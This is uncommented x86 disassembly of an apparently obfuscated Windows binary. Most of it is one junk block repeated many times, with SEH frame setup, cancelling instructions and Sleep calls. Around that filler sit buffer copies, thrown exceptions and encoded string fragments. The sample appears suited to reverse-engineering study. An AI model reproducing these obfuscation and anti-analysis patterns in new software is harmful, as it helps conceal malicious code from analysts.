mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
mov dword [ebp - 4], 0
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x412f48
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x1f19c15f
push eax
mov dword [ebp - 0x24], 0x84
call sub.VCRUNTIME140.dll__CxxThrowException
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
mov dword [ebp - 4], 2
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x412f48
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0xa7e85e0a
push eax
mov dword [ebp - 0x2c], 0x196
call sub.VCRUNTIME140.dll__CxxThrowException
jmp 0x406959
push 0x1e8
lea eax, [ebp - 0xa60]
mov dword [ebp - 0xa7c], 0
push 0
push eax
mov dword [ebp - 0xa78], 0x5f55767b
mov dword [ebp - 0xa74], 0x57576a21
mov dword [ebp - 0xa70], 0x64002e
mov dword [ebp - 0xa6c], 0x6c006c
mov dword [ebp - 0xa68], 0x62005f
mov dword [ebp - 0xa64], 0x6e0069
call sub.VCRUNTIME140.dll_memset
push 0x83c
lea eax, [ebp - 0x874]
mov dword [ebp - 0x878], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0xa45
call fcn.0040e586
add esp, 4
mov edi, eax
mov dword [ebp - 0x14], edi
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x19
mov byte [edi], 5
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
inc edi
lea esi, [ebp - 0xa7c]
mov ecx, 0x291
rep movsd dword es:[edi], dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x19
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push ecx
push dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
call fcn.00401c10
push 0x19
mov dword [ebp - 4], 4
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x2d
call esi
inc eax
dec ebx
dec eax
inc ebx
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0
push 0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x44
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
inc eax
dec ebx
dec eax
inc ebx
push 0x23
call esi
push 0x412f48
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x30fe27ae
push eax
mov dword [ebp - 0x34], 0x86f
call sub.VCRUNTIME140.dll__CxxThrowException
int3